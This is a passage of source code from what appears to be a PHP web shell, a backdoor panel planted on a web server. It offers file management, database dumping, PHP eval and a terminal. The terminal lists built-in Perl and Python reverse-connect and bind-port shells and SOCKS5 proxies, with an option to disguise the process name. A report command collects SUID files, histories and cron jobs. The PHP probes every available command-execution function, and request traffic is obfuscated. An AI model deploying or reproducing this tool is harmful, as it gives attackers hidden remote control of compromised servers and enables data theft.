arwDwn',onclick:fncDwn}));div.appendChild(newElm((fncOpn?'a':'span'),{href:'#',className:'aMore',textContent:val,onclick:fncOpn}));return div;}function cnnct(){var frm=elmById('frmCnnct');return sqlAjxSnd('Connect to '+frm.e.textValue+' server '+frm.h.value+' as '+frm.u.value+' ('+frm.p.value+')',onCnnct);}function onCnnct(div,data){if('e'in data)return uiChngMsg(div,data.e,'Err');elmById('frmSQL').q.value='';elmById('divCptn').textContent='';elm=elmById('frmPg').style;if(elm.display==='block')elm.display='none';elm=elmById('tblHead');if(elm.childNodes.length>0)elm.removeChild(elm.tHead);elm=elmById('tblData');if(elm.tBodies.length>0)elm.removeChild(elm.tBodies[0]);elm=elmById('divSQLWrpLeft');if(elm.style.display==='block'){elm.style.display='none';var e=elmById('divSchm');for(var i=e.childNodes.length-1;i>=0;--i)e.removeChild(e.lastChild);}if('b'in data){elmById('divSchm').appendChild(mkItmRow('b',data.b,false,opnList));onGetStrctr(div,data);}else{var frgm=document.createDocumentFragment();for(var i=0,c=data.length;i<c;++i)frgm.appendChild(mkItmRow('b',data[i],false,opnList));elmById('divSchm').appendChild(frgm);}elm.style.display='block';elm=elmById('frmSQL').style;if(elm.display!=='flex')elm.display='flex';if(!('b'in data))uiDelMsg(div);}function opnList(){var prnt=this.parentNode,lst=prnt.lastChild;if(lst.className==='divLst')lst.style.display=lst.style.display==='none'?'block':'none';else prnt.childNodes[1].onclick();return false;}function onChngCBState(){var chldTotal=this.getAttribute('chldTotal')|0,chldChckd=this.getAttribute('chldChckd')|0,chldIndtrm=-1*(this.getAttribute('chldIndtrm')|0),prnt=this.name==='b[]'?false:this.parentNode.parentNode.parentNode.firstChild;if(chldIndtrm!==0||chldChckd!==chldTotal){this.setAttribute('chldIndtrm',0);--chldIndtrm;}this.setAttribute('chldChckd',this.checked?chldTotal:0);chldChckd=this.checked?chldTotal-chldChckd+1:-1*chldChckd-1;if(chldTotal>0){var inps=this.parentNode.lastChild.getElementsByTagName('input');for(var i=inps.length-1;i>=0;--i)if(inps[i].indeterminate||inps[i].checked!==this.checked){var ttl=inps[i].getAttribute('chldTotal')|0;if(ttl>0){inps[i].setAttribute('chldIndtrm',0);inps[i].setAttribute('chldChckd',this.checked?ttl:0);}inps[i].indeterminate=false;inps[i].checked=this.checked;}}while(prnt){var crrntTotal=prnt.getAttribute('chldTotal')|0,crrntChckd=(prnt.getAttribute('chldChckd')|0)+chldChckd,crrntIndtrm=(prnt.getAttribute('chldIndtrm')|0)+chldIndtrm;prnt.setAttribute('chldChckd',crrntChckd);prnt.setAttribute('chldIndtrm',crrntIndtrm);if(crrntChckd===crrntTotal){prnt.checked=true;++chldChckd;if(prnt.indeterminate){prnt.indeterminate=false;--chldIndtrm;}}else{if(prnt.checked){prnt.checked=false;--chldChckd;}if(crrntChckd===0&&crrntIndtrm===0){if(prnt.indeterminate){prnt.indeterminate=false;--chldIndtrm;}}else if(!prnt.indeterminate){prnt.indeterminate=true;++chldIndtrm;}}prnt=prnt.name==='b[]'?false:prnt.parentNode.parentNode.parentNode.firstChild;}}function listTables(prnt,data){var chckd=prnt.parentNode.firstChild.checked,lst=data.t;for(var i=0,c=lst.length;i<c;++i){var row=mkItmRow('t',lst[i][0],chckd,getData,opnList);if(lst[i].length>1)row.appendChild(newElm('span',{className:'spnRC',textContent:lst[i][1]}));prnt.appendChild(row);}}function listSchemas(prnt,data){var chckd=prnt.parentNode.firstChild.checked,lst=data.s;for(i=0,c=lst.length;i<c;++i)prnt.appendChild(mkItmRow('s',lst[i],chckd,opnList));}function getStrctr(){var elm=this,data={},name=[],inp;do{elm=elm.parentNode;inp=elm.firstChild;name.push(inp.value);data[inp.name.substr(0,1)]=inp.value;elm=elm.parentNode;}while(elm.id!=='divSchm');if(elmById('cbCR').checked)data.r='';return sqlAjxSnd('Get structure of '+name.reverse().join('.'),onGetStrctr,data);}function srchItm(elm,name,value){var chlds=elm.childNodes;for(var i=0,c=chlds.length;i<c;++i){var inp=chlds[i].firstChild;if(inp.name===name&&inp.value===value)return chlds[i];}return false;}function onGetStrctr(div,data){if('e'in data)return uiChngMsg(div,data.e,'Err');var cnt;if('f'in data)cnt=data.f.length;else if('t'in data)cnt=data.t.length;else cnt=data.s.length;if(cnt===0){var t='Database',v=[data.b];if(('s'in data)&&('t'in data)){t='Schema';v.push(data.s);}if('f'in data){t='Table';v.push(data.t);}return uiChngMsg(div,t+' '+v.join('.')+' is empty','Inf');}var prnt=srchItm(elmById('divSchm'),'b[]',data.b);if(!prnt)return;if(('t'in data)&&('s'in data)){if(prnt.lastChild.className!=='divLst')return;prnt=srchItm(prnt.lastChild,'s[]',data.s);if(!prnt)return;}if('f'in data){if(prnt.lastChild.className!=='divLst')return;prnt=srchItm(prnt.lastChild,'t[]',data.t);if(!prnt)return;}if(prnt.lastChild.className==='divLst')prnt.removeChild(prnt.lastChild);var i=prnt.firstChild;i.setAttribute('chldTotal',cnt);i.setAttribute('chldChckd',i.checked?cnt:0);i.setAttribute('chldIndtrm',0);prnt.appendChild(newElm('div',{className:'divLst'}));prnt=prnt.lastChild;if('f'in data)listFields(prnt,data);else if('t'in data)listTables(prnt,data);else listSchemas(prnt,data);uiDelMsg(div);}function listFields(prnt,data){var chckd=prnt.parentNode.firstChild.checked,lst=data.f;for(i=0,c=lst.length;i<c;++i){var row=mkItmRow('f',lst[i][0],chckd),type=data.y[lst[i][1]];if(type!==''){var div=newElm('div',{className:'divFldTp'});div.appendChild(newElm('span',{className:'aMore',textContent:type}));row.appendChild(div);}prnt.appendChild(row);}}function getData(){var elm=this.parentNode,data={t:elm.firstChild.value,f:[],o:0,r:elmById('frmPg').r.value};elm=elm.parentNode.parentNode;if(elm.firstChild.name==='s[]'){data.s=elm.firstChild.value;data.b=elm.parentNode.parentNode.firstChild.value;}else data.b=elm.firstChild.value;elm=this.parentNode;if(elm.lastChild.className==='divLst'){elm=elm.lastChild.childNodes;for(var i=elm.length-1;i>=0;--i)if(elm[i].firstChild.checked)data.f.unshift(elm[i].firstChild.value);}if(data.f.length===0)data.f='';return sqlAjxSnd('Load data from table '+data.b+'.'+('s'in data?data.s+'.':'')+data.t,onGetData,data);}function listData(caption,data){var tblHead=elmById('tblHead'),tblData=elmById('tblData'),cln=data.f.length;if(tblData.tBodies.length>0)tblData.removeChild(tblData.tBodies[0]);elmById('divCptn').textContent=caption;if(tblHead.childNodes.length>0)tblHead.removeChild(tblHead.tHead);var thead=document.createElement('thead'),elm=thead.insertRow(0);for(var i=0;i<cln;++i)elm.insertCell(-1).textContent=data.f[i];tblHead.appendChild(thead);data=data.r;elm=document.createElement('tbody');for(var i=0,c=data.length;i<c;++i){var tr=elm.insertRow(-1);for(var j=0;j<cln;++j)tr.insertCell(-1).textContent=data[i][j];}tblData.appendChild(elm);elm=tblHead.tHead.rows[0].cells;data=tblData.tBodies[0].rows[0].cells;for(var i=0;i<cln;++i){var tr=(elm[i].offsetWidth>data[i].offsetWidth?elm[i].offsetWidth:data[i].offsetWidth)+'px';elm[i].style.minWidth=tr;elm[i].style.width=tr;data[i].style.minWidth=tr;data[i].style.width=tr;}}function onGetData(div,data){if('e'in data)return uiChngMsg(div,data.e,'Err');if(data.f.length===0){var v=data.b+'.'+('s'in data?data.s+'.':'')+data.t;return uiChngMsg(div,data.o>0?'No more data in table '+v:'Table '+v+' is empty','Inf');}var isNotPgnbl=!('o'in data);listData((isNotPgnbl?'Top '+data.r.length+' rows':'Rows '+data.o+'-'+(data.o+data.r.length-1))+' from table '+data.b+'.'+('s'in data?data.s+'.':'')+data.t,data);var frmPg=elmById('frmPg');frmPg.b.value=data.b;frmPg.s.value=('s'in data)?data.s:'';frmPg.t.value=data.t;frmPg.o.value=0;frmPg.o.disabled=isNotPgnbl;frmPg.elements[3].disabled=isNotPgnbl;frmPg.elements[5].disabled=isNotPgnbl;if(frmPg.style.display!=='block')frmPg.style.display='block';uiDelMsg(div);}function chngPg(v){var elms=elmById('frmPg'),chlds=[],val=(elms.o.value|0)+v*(elms.r.value|0),data={b:elms.b.value,t:elms.t.value,o:val>0?val:0,r:elms.r.value|0,f:[]};if(elms.s.value!=='')data.s=elms.s.value;var prnt=srchItm(elmById('divSchm'),'b[]',data.b);if(prnt&&prnt.lastChild.className==='divLst'){if('s'in data)prnt=srchItm(prnt.lastChild,'s[]',data.s);if(prnt&&prnt.lastChild.className==='divLst'){prnt=srchItm(prnt.lastChild,'t[]',data.t);if(prnt&&prnt.lastChild.className==='divLst'){var chlds=prnt.lastChild.childNodes;for(var i=0,c=chlds.length;i<c;++i)if(chlds[i].firstChild.checked)data.f.push(chlds[i].firstChild.value);}}}if(data.f.length===0)data.f='';return sqlAjxSnd('Load data from table '+data.b+'.'+('s'in data?data.s+'.':'')+data.t+' ('+data.o+'-'+(data.o+data.r)+')',onGetData,data);}function query(){var v=elmById('frmSQL').q.value;return v===''?false:sqlAjxSnd(v,onQuery,{q:v});}function onQuery(div,data){if('e'in data)return uiChngMsg(div,data.e,'Err');if(data.f.length===0)return uiChngMsg(div,'Query successfully completed ('+data.q+')','Inf');elmById('frmPg').style.display='none';listData(data.q,data);uiDelMsg(div);}function getDumpList(data,elms,prfx){var n=0,indx=elms[0].firstChild.name.slice(0,1)+'['+prfx+']';data[indx]=[];for(var i=0,c=elms.length;i<c;++i){if(elms[i].firstChild.checked)data[indx][n++]=elms[i].firstChild.value;else if(elms[i].firstChild.indeterminate){data[indx].push(elms[i].firstChild.value);getDumpList(data,elms[i].lastChild.childNodes,prfx+'-'+n);n++;}}}function dump(){var data={d:[],o:elmById('slctDmpFrmt').value},elms=elmById('divSchm').childNodes,n=0;for(var i=0,c=elms.length;i<c;++i){if(elms[i].firstChild.checked)data.d[n++]=elms[i].firstChild.value;else if(elms[i].firstChild.indeterminate){data.d.push(elms[i].firstChild.value);getDumpList(data,elms[i].lastChild.childNodes,n++);}}if(n)sqlAjxSnd('Download SQL dump (close this message after start download)',onDump,data);}function onDump(div,data){uiChngMsg(div,data.e,'Err');}function onPHPKeyDwn(e){if(e.ctrlKey&&e.keyCode===13)return evl();}function onPHPResKeyDwn(e){if(e.ctrlKey&&e.keyCode===65){uiSlctTxt('prePHP');e.preventDefault();}}function uiChngCmps(){var lbl=elmById('aCmps'),frm=elmById('divPHP').style;if(lbl.className==='cmpsRow'){lbl.className='cmpsCol';frm.flexDirection='column';}else{lbl.className='cmpsRow';frm.flexDirection='row';}return false;}function evl(){var frm=elmById('frmPHP');if(frm.e.value==='')elmById('prePHP').innerHTML='';else ajxSnd('Eval PHP code',onEvl,frm,{a:'p'},elmById('slctPHPCS').value);return false;}function onEvl(div,data){var elm=elmById('prePHP'),chr=data.slice(-1);if('createShadowRoot'in elm){if(elm.shadowRoot===null)elm.createShadowRoot();elm=elm.shadowRoot;}if(chr==="\x06"&&elmById('cbClnInp').checked)elmById('txtPHP').value='';if(elmById('cbClnOut').checked)elm.innerHTML='';if(chr==="\x15"&&data.slice(0,-3)===''&&!elmById('frmPHP').h.checked)data='\nFatal error: You have syntax error in PHP code\n';else data=data.slice(0,-3);if(elmById('cbHTML').checked){var divRst=document.createElement('div');divRst.style='all:initial;isolation:isolate;';divRst.innerHTML=data.replace(/<style(\s|>)/ig,'<style scoped$1');elm.appendChild(divRst);}else elm.appendChild(document.createTextNode(data));uiDelMsg(div);}function phpSaveState(){strgSaveBool('phpChngCmps',elmById('aCmps').className==='cmpsCol');strgSaveBool('phpClnInp','cbClnInp');strgSaveBool('phpClnOut','cbClnOut');strgSaveBool('phpHTML','cbHTML');var frm=elmById('frmPHP');strgSaveBool('phpSilent',frm.h.checked);strgSaveOpt('phpSendAs',elmById('slctPHPCS').value);strgSaveOpt('phpLoadAs',frm.c.value);}function phpRestoreState(){if(sessionStorage.getItem('phpChngCmps'))uiChngCmps();strgRstrChck('phpClnInp','cbClnInp');strgRstrChck('phpClnOut','cbClnOut');strgRstrChck('phpHTML','cbHTML');var frm=elmById('frmPHP');strgRstrChck('phpSilent',frm.h);strgRstrVal('phpSendAs','slctPHPCS');strgRstrVal('phpLoadAs',frm.c);}var trmHist=strgRstrArr('trmHist'),trmIndx=trmHist.length;function onTrmClick(e){if(e.target===elmById('divTrm'))elmById('inpTrm').focus();}function onTrmResKeyDwn(e){if(e.ctrlKey&&e.keyCode===65){uiSlctTxt('preTrm');e.preventDefault();}}function onTrmInpKeyDwn(e){var frm=elmById('frmTrm'),inp=frm.e;if(e.keyCode===38){if(trmIndx>0)inp.value=trmHist[--trmIndx];}else if(e.keyCode===40){var val=trmHist.length;if(trmIndx<val-1)inp.value=trmHist[++trmIndx];else{inp.value='';if(trmIndx<val)++trmIndx;}}else if(e.ctrlKey&&e.keyCode===76)elmById('preTrm').textContent='';else if(e.keyCode===13)exec();else return;e.preventDefault();}function prntMsg(msg){elmById('preTrm').textContent+=elmById('spnUsrHst').textContent+':'+elmById('spnPth').textContent+'$ '+msg+'\n';var trm=elmById('divTrm');trm.scrollTop=trm.scrollHeight;return false;}function exec(){var frm=elmById('frmTrm'),cmd=frm.e.value.trim(),val=cmd.match(/!(!|(?:-?[0-9]+))/);if(val!==null){val=val[1]|0;if(val>=0)--val;cmd=trmHist[val<0?trmHist.length+val:val];frm.e.value=cmd;}if(trmHist.slice(-1)[0]!==cmd)trmHist.push(cmd);trmIndx=trmHist.length;if(cmd==='?'){val=' For more information run command without params.\n\n';prntMsg('?\n\n'+'cls, clear\n'+' Clear terminal window.\n'+' * You can clear terminal window pressing Ctrl+L\n\n'+'history\n'+' Show all comands.\n'+' n Show last n commands.\n'+' !! Execute last command.\n'+' !n Execute command number n. If value negative then counting starts at end.\n'+' * You can navigate through history using UP and DOWN keys.\n\n'+'report\n'+' Create server information report.\n'+' For more information run command with question param.\n\n'+'socks5.perl\n'+' Run Socks5 server using Perl.\n'+val+'bindport.perl\n'+' Open port and provide shell access for connected client using Perl.\n'+val+'backconnect.perl\n'+' Connect to client and provide shell access for him using Perl.\n'+val+'socks5.python\n'+' Run Socks5 server using Python.\n'+val+'bindport.python\n'+' Open port and provide shell access for connected client using Python.\n'+val+'backconnect.python\n'+' Connect to client and provide shell access for him using Python.\n'+val);}else if(cmd==='cls'||cmd==='clear')elmById('preTrm').textContent='';else{val=cmd.match(/history ?([0-9]*)/i);if(val!==null){val=val[1]|0;var s=cmd+'\n';for(var c=trmHist.length,i=(val>0&&c>val)?c-val:0;i<c;++i)s+='\t'+(i+1)+'\t'+trmHist[i]+'\n';prntMsg(s);}else{val=cmd.split(' ',4);var usg=cmd+'\n'+'Usage:\n '+val[0],opt=' <port> [options]\nOptions (option value can\'t contain whitespace):\n -i <file> Use interpreter <file>. Default: ',perl='<?php echo NIX ? "/usr/bin/perl" : "perl.exe"; ?>\n',pthn='<?php echo NIX ? "/usr/bin/python" : "python.exe"; ?>\n',opta=' -a <addr> Listen only on IP address <addr>. Default listening on all adresses\n',optn=' -n <name> Set process name to <name>. Default value is secret ;)\n',opts=' -s <file> Use shell <file>. Default: <?php echo NIX ? "/bin/sh" : "cmd"; ?>\n',optt=' -t Open PTY\n',optl=' -s <u:p> Secure with authentication (u - username, p - password)\n',ign=' u - Users and Groups;\n e - Environment;\n p - Processes;\n n - Network;\n';if(val[0]==='backconnect.perl'&&val.length<3)prntMsg(usg+' <ip>'+opt+perl+opts+optn);else if(val[0]==='bindport.perl'&&val.length<2)prntMsg(usg+opt+perl+opta+opts+optn);else if(val[0]==='socks5.perl'&&val.length<2)prntMsg(usg+opt+perl+opta+optl+optn);else if(val[0]==='backconnect.python'&&val.length<3)prntMsg(usg+' <ip>'+opt+pthn+opts+optt);else if(val[0]==='bindport.python'&&val.length<2)prntMsg(usg+opt+pthn+opta+opts+optt);else if(val[0]==='socks5.python'&&val.length<2)prntMsg(usg+opt+pthn+opta+optl);else if(val[0]==='report'&&val[1]==='?')prntMsg(usg+' [options]\nOptions:\n -f <file> Save report to <file>\n -s [flags] Skip some information\n Flags:\n<?php echo NIX ? 'o-OS Identification;\n l-Langs;\n c-CPU;\n r-Cron;\n h-Histories;\n f-File System;\n s-SUID Files;\n' : 's-System Info;\n t-Tasks;\n r-Share;\n'; ?>'+ign);else{val=elmById('spnPth').textContent;ajxSnd(elmById('spnUsrHst').textContent+':'+val+'$ '+cmd,onExec,frm,{a:'t',p:val},elmById('slctTrmCS').value);}}}frm.e.value='';return false;}function onExec(div,data){var cmd=div.childNodes[1].textContent.slice(0,-2);if(data==='\x03\x1E')return uiChngMsg(div,'Error in command: '+cmd,'Err');data=data.slice(0,-3);var pos=data.lastIndexOf('\x03\x1E\x02
3397');if(pos>-1){var inf=data.slice(pos+4).split('\n',3);elmById('spnUsrHst').textContent=inf[0]+'@'+inf[1];elmById('spnPth').textContent=inf[2];data=data.slice(0,pos);}else data+='\n';elmById('preTrm').textContent+=cmd+'\n'+data+'\n';pos=elmById('divTrm');pos.scrollTop=pos.scrollHeight;uiDelMsg(div);}function trmSaveState(){if(exeFuncs.length===0)return;var e=elmById('frmTrm');strgSaveStr('trmShell',e.s.value);strgSaveBool('trmSilent',e.h.checked);strgSaveOpt('trmFunc',e.f.value);strgSaveOpt('trmLoadAs',e.c.value);strgSaveOpt('trmSendAs',elmById('slctTrmCS').value);strgSaveStr('trmPath',elmById('spnPth').textContent);strgSaveArr('trmHist',trmHist);}function trmRestoreState(){var cnt=exeFuncs.length;if(cnt===0){elmById('tabTrm').style.display='none';return;}var frm=elmById('frmTrm'),val=sessionStorage.getItem('trmFunc')|0;for(var i=0;i<cnt;++i){var opt=new Option(exeFuncs[i][1],exeFuncs[i][0]);if(exeFuncs[i][0]===val)opt.selected=true;frm.f.add(opt);}elmById('spnUsrHst').textContent=exeFuncs[0][2];val=sessionStorage.getItem('trmPath');elmById('spnPth').textContent=val===null?exeFuncs[0][3]:val;strgRstrVal('trmShell',frm.s);strgRstrChck('trmSilent',frm.h);strgRstrVal('trmSendAs','slctTrmCS');strgRstrVal('trmLoadAs',frm.c);}function uiUpdInf(chld){var div=elmById('divInfo');div.removeChild(div.lastChild);div.appendChild(chld);}function onInfMain(div,data){var tbl=newElm('table',{id:'tblInf'});for(var i=0,l=data.length;i<l;++i){if(i>0)tbl.insertRow(-1).appendChild(newElm('th',{colSpan:2}));for(var key in data[i]){var tr=tbl.insertRow(-1);tr.appendChild(newElm('th',{textContent:key}));tr.insertCell(1).textContent=data[i][key];}}uiUpdInf(tbl);uiDelMsg(div);}function onInfPHP(div,data){var tbl=document.createElement('table');tbl.id='tblInf';for(var sct in data){var tr=tbl.insertRow(-1);tr.appendChild(newElm('th',{colSpan:2,textContent:sct}));for(var key in data[sct]){tr=tbl.insertRow(-1);tr.appendChild(newElm('th',{textContent:key}));tr.insertCell(1).textContent=data[sct][key];}}uiUpdInf(tbl);uiDelMsg(div);}function ajxSnd(msg,clbck,frm,data,chrst){function obfuscate(data){if(obfKey===false||data.length<2)return data;var r=[],l=data.length;data=data.split('');for(var i=0;i<l;++i){var c=(i%2===0)?data.pop():data.shift();r.push(c===obfKey?'':c);}return r.join(obfKey);};function cancel(){document.body.removeChild(reqIfrm);uiDelMsg(msgDiv);return false;};function onResp(){msgDiv.firstChild.onclick=uiClsMsg;var doc=reqIfrm.contentDocument,data=doc.body.textContent,cset=doc.characterSet;document.body.removeChild(reqIfrm);if(data.slice(0,2)==='\x01\x02'){if(data.slice(-3)==='\x17\x04\x10'&&data.indexOf('\x03\x1E'))data=data.slice(2,-3);else data=false;}else try{data=JSON.parse(data);}catch(e){data=false;}if(data===false)uiNetErrMsg(msgDiv);else if(clbck)clbck.call(frm,msgDiv,data,cset);else uiDelMsg(msgDiv);};var msgDiv=uiMsg(msg),obfKey=elmById('cbObfs').checked?'0123456789-._*!()'[Math.round(Math.random()*16)]:false,reqIfrm=newElm('iframe',{src:'',name:'ifrm'+(new Date().getTime())}),reqFrm=newElm('form',{acceptCharset:(chrst?chrst:'UTF-8'),action:window.location.pathname+window.location.search,method:elmById('cbGET').checked?'GET':'POST',target:reqIfrm.name}),elm;document.body.appendChild(reqIfrm);if(obfKey!==false)data.k=obfKey;elm=elmById('frmCstEnv');if(elm.e.checked&&elm.i.value!==''){data.j=[elm.f.value,elm.s.value,elm.i.value,''];if(elm.n.checked)data.j[3]='n';if(elm.c.checked)data.j[3]+='C';}for(var key in data)if(Array.isArray(data[key]))for(var i=0,c=data[key].length;i<c;++i)reqFrm.appendChild(newElm('input',{type:'hidden',name:key+'[]',value:obfuscate(data[key][i])}));else reqFrm.appendChild(newElm('input',{type:'hidden',name:key,value:obfuscate(data[key])}));if(frm)for(var i=frm.elements.length-1;i>=0;--i){elm=frm.elements[i];if(elm.name===''||elm.disabled)continue;if(elm.tagName==='INPUT'){if((elm.type==='checkbox'||elm.type==='radio')&&!elm.checked)continue;if(elm.type==='file'){reqFrm.enctype='multipart/form-data';reqFrm.appendChild(elm.cloneNode(true));continue;}}if(elm.value!==''||elm.tagName==='TEXTAREA')reqFrm.appendChild(newElm('input',{type:'hidden',name:elm.name,value:obfuscate(elm.value)}));}document.body.appendChild(reqFrm);reqFrm.submit();reqIfrm.onload=onResp;document.body.removeChild(reqFrm);msgDiv.firstChild.onclick=cancel;return false;}</script><script id="dataExe"type="text/data"><?php $a = array('system', 'passthru', 'backticks', 'shell_exec', 'exec', 'popen');
3398 if (PHP_VERSION >= '4.3') $a[] = 'proc_open';
3399 if (defined('EXP_EOF')) {
3400 $a[7] = 'expect://';
3401 $a[8] = 'expect_popen';
3402 }
3403 if (defined('SIGIO') && (!defined('PHP_SAPI') || PHP_SAPI !== 'cli-server')) $a[9] = 'pcntl_exec';
3404 if (!NIX && defined('CLSCTX_ALL')) $a[10] = 'com';
3405 $s = NIX ? ';' : '&';
3406 $c = NIX ? 'pwd' : 'cd';
3407 $w = NIX ? 'whoami' : 'echo %username%';
3408 foreach ($a as $k => $v) exe('echo ' . $k . ':' . $v . $s . $w . $s . 'hostname' . $s . $c, $k, '', FALSE); ?></script></head><body onkeydown="uiKeyDwn(event)"><div id="divHdr"class="divCntrls"><a href="#"class="cntrl"title="Resize view"onclick="return uiRszBody()">⇄</a><a href="#"class="cntrl"title="Settings"onclick="return uiShwModal('divStngs')">⚙</a></div><div id="divBody"><span id="tabFM"><a href="#tabFM"class="tab">File Manager</a><div class="tabPage"id="divFM"><textarea id="txtClpbrd"tabindex="-1"></textarea><form hidden id="frmUpl"><input type="file"name="f[]"id="inpUpl"multiple onchange="uplFiles()"/></form><form class="toolbar"id="frmFM"onsubmit="return goTo(this.p.value)"><a href="#"class="cntrl"id="btnSrch"title="Search..."onclick="return uiShwFrmSrch()"></a><button type="button"title="Go home!"onclick="goTo('~')">~</button> <?php if (!NIX) {
3409 $a = range('A', 'Z');
3410 foreach ($a as $v) {
3411 $i = new FileInfo($v . ':\\');
3412 if ($i->isDir()) echo '<button type="button"onclick="goTo(', "'", $v, ":\\\\'", ')">', $v, ':</button>';
3413 }
3414 } ?> <input type="text"name="p"value="<?php echo escHTML(selfPath()); ?>"/><button title="Go!">></button><span class="spnBtnSbMn"><button type="button"id="btnFastAct"title="Fast actions..."onclick="uiTgglSubMenu(event)"onblur="menuButtonBlur(this)"><hr class="arwDwn"/></button><div class="divSbMn"onclick="onFastActClick(event)"><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Properties</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Download</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Delete</a></div></span> <span class="spnChrst"title="Send as..."><hr class="arwUp"/><select id="fmCSSend"><?php foreach ($C as $v) echo '<option>', $v, '</option>'; ?></select></span><span class="spnChrst"title="Load as..."><hr class="arwDwn"/><select id="fmCSLoad"><?php foreach ($C as $k => $v) echo '<option value="', $k, '">', $v, '</option>'; ?></select></span></form><div class="subbar"><button type="button"title="You can upload multiple files at once..."onclick="elmById('inpUpl').click()">Upload …</button><span class="spnBtnSbMn"><button type="button"class="btnSbMn"onclick="uiTgglSubMenu(event)"onblur="menuButtonBlur(this)">Create <hr class="arwDwn"/></button><div class="divSbMn"onclick="onCrtMenuClick(event)"><a href="#"class="aMnItm"onblur="menuItemBlur(this)">File</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Link</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Directory</a></div></span><span class="spnBtnSbMn"><button type="button"class="btnSbMn"id="btnBufferMenu"onclick="uiTgglSubMenu(event)"onblur="menuButtonBlur(this)"disabled>Buffer <hr class="arwDwn"/></button><div class="divSbMn"onclick="onBufferMenuClick(event)"><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Show files<a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Copy here</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Move here</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Download</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Clear</a></div></span></div><div><form id="frmFiles"><table id="tblFiles"cols="<?php echo NIX ? 8 : 7; ?>"onclick="onTblFilesClick(event)"><thead><tr><th width="20px"><input type="checkbox"onclick="uiCheckAll('Files', this.checked)"/></th><th>Name</th><th width="65px">Ext</th><th width="105px">Size</th><th width="145px">Modified (UTC)</th><th width="95px">Permission</th> <?php if (NIX) { ?><th width="155px">Owner</th><?php
3415 } ?> <th width="65px">Actions</th></tr></thead><tfoot><tr><th colspan="<?php echo NIX ? 8 : 7; ?>"><button type="button"onclick="dwnFiles(getSlctdFiles())">Download</button><button type="button"onclick="prpsSlctdFiles()">Properties</button><button type="button"onclick="markSlctdFiles()">Mark</button><button type="button"onclick="delFiles(getSlctdFiles())">Delete</button></th></tr></tfoot></table></form></div><template id="tmplFilesTBody"><tbody><tr><th colspan="<?php echo NIX ? 8 : 7; ?>"class="thPth"></th></tr><tr><td class="tdUp"><input type="hidden"/>↴</td><td colspan="<?php echo NIX ? 7 : 6; ?>"><a href="#"class="lnkBlck">[ .. ]</a></td></tr></tbody></template><template id="tmplFileRow"><tr><td><input type="checkbox"name="f[]"/></td><td><a href="#"class="lnkBlck"></a></td><td><a href="#"class="lnkBlck"></a></td><td><a href="#"class="lnkAct"></a></td><td></td><td><a href="#"class="lnkAct"></a></td><?php if (NIX) { ?><td></td><?php
3416 } ?><td><a href="#"class="lnkAct">Mrk</a> <a href="#"class="lnkAct">Del</a></td></tr></template><div id="divWndws"><template id="tmplFrmFile"><form class="modal frmFile"onsubmit="saveFile(event)"onmousedown="uiActvModal(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">New File</span><a href="#"class="cntrl"title="Close without saving"onclick="return uiDstrModal(this.parentNode.parentNode)">×</a><a href="#"class="cntrl"title="Resize"onclick="return uiRsz(this.parentNode.parentNode)">⤢</a><a href="#"class="cntrl"title="Reload file"onclick="rldFile(event)">⟳</a></div><textarea name="t"></textarea><div class="flexRow"><input type="text"required/><select name="c"title="File encoding..."onchange="rldFileAs(event)"><?php foreach ($C as $k => $v) echo '<option value="', $k, '">', $v, '</option>'; ?></select><select name="e"><option value="0">Windows (\r\n) </option><option value="1"<?php if (NIX) echo ' selected'; ?>>Unix (\n)</option><option value="2">Mac (\r)</option></select><button>Save</button></div></form></template><form id="frmSrch"class="modal"onmousedown="uiActvModal(event)"onsubmit="srchFiles(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Search</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('frmSrch')">×</a></div><label class="option"title="exx: <?php echo NIX ? '/var/www:/etc:/tmp/' : 'c:\\inetpub\\wwwroot;d:\\www\\'; ?>">Paths<input type="text"required /></label><div class="flexRow noFlex"><div class="option"> Name (<label title="? - single char; * - zero or more char; [!0123A-Z] - class of chars (- for range, ! to exclude)"><input type="checkbox"name="w"/>wildcard</label>, <label><input type="checkbox"name="i"/>case-insensitive</label>) <input type="text"name="n"/></div><label class="option"title="Max search depth">Depth<input type="text"name="d"size="1"size="1"/></label><label class="option">Type <select name="y"onchange="uiSrchFTypeChngd()"><option value="">Any</option><option value="1">Dirs</option><option value="0">Files</option></select></label><label class="option">Mode <select name="p"><option value="">Any</option><option value="1">Readable</option><option value="2">Writable</option><option value="3">Full access</option></select></label> <?php if (NIX) { ?> <label class="option"> Attribute <select name="u"><option value="">Any</option><option value="1">SUID</option></select></label></div><div class="flexRow"><label class="option"title="exx: 0, >1000, <1005, 1010-1015">Owner id<input type="text"name="o"/></label><hr class="spcr20"/><label class="option"title="exx: 0, >1000, <1005, 1010-1015">Group id<input type="text"name="g"/></label> <?php
3417 } ?> </div><div class="flexRow"><label class="option"title="exx: >1991-08-24 00:00:00, <1991-08-24 00:00:00, 1991-08-24 00:00:00 - 1996-06-28 12:00:00, 1996-06-28 12:00:00">Created (UTC)<input type="text"name="e"/></label><hr class="spcr20"/><label class="option"title="exx: >1991-08-24 00:00:00, <1991-08-24 00:00:00, 1991-08-24 00:00:00 - 1996-06-28 12:00:00, 1996-06-28 12:00:00">Modified (UTC)<input type="text"name="m"/></label></div><div class="flexRow"><label class="option"title="exx: >10, <102400, 10-1024, 2048">Size (bytes)<input type="text"name="z"/></label><hr class="spcr20"/><div class="option">Text (<label title="Delimiter is pound (#)"><input type="checkbox"name="x"/>use regex</label>, <label><input type="checkbox"name="v"/>case-insensitive</label>)<input type="text"name="t"/></div></div><div class="flexRow"><label><input type="checkbox"name="l"/> Process links</label><hr class="spcrFlex"/><button>Search</button></div></form><form id="frmLnk"class="modal"onmousedown="uiActvModal(event)"onsubmit="mkLnk(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Create Link</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('frmLnk')">×</a></div><label class="option">Target Path: <input type="text"name="p"required/></label><label class="option">Link Path: <input type="text"required/></label><div class="flexRow"><select name="t"><option 